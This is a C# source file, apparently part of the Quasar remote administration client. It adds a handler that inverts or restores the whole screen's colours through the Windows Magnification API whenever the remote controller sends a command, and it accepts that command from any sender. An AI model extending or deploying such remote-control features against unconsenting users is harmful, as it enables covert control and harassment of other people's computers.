62 lines
2.0 KiB
C#
62 lines
2.0 KiB
C#
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using Quasar.Common.Messages;
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using Quasar.Common.Networking;
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using System.Runtime.InteropServices;
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namespace Quasar.Client.Messages
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{
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public class ColorInvertHandler : IMessageProcessor
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{
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[StructLayout(LayoutKind.Sequential)]
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private struct MAGCOLOREFFECT
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{
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[MarshalAs(UnmanagedType.ByValArray, SizeConst = 25)]
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public float[] transform;
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}
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[DllImport("Magnification.dll", CallingConvention = CallingConvention.StdCall)]
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private static extern bool MagInitialize();
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[DllImport("Magnification.dll", CallingConvention = CallingConvention.StdCall)]
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private static extern bool MagUninitialize();
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[DllImport("Magnification.dll", CallingConvention = CallingConvention.StdCall)]
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private static extern bool MagSetFullscreenColorEffect(ref MAGCOLOREFFECT pEffect);
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private static readonly float[] _invertMatrix = {
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-1, 0, 0, 0, 0,
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0, -1, 0, 0, 0,
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0, 0, -1, 0, 0,
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0, 0, 0, 1, 0,
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1, 1, 1, 0, 1
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};
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private static readonly float[] _identityMatrix = {
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1, 0, 0, 0, 0,
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0, 1, 0, 0, 0,
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0, 0, 1, 0, 0,
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0, 0, 0, 1, 0,
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0, 0, 0, 0, 1
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};
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public bool CanExecute(IMessage message) =>
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message is DoStartColorInvert || message is DoStopColorInvert;
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public bool CanExecuteFrom(ISender sender) => true;
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public void Execute(ISender sender, IMessage message)
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{
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if (message is DoStartColorInvert)
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ApplyEffect(_invertMatrix);
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else if (message is DoStopColorInvert)
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ApplyEffect(_identityMatrix);
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}
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private static void ApplyEffect(float[] matrix)
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{
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MagInitialize();
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var effect = new MAGCOLOREFFECT { transform = matrix };
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MagSetFullscreenColorEffect(ref effect);
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}
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}
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}
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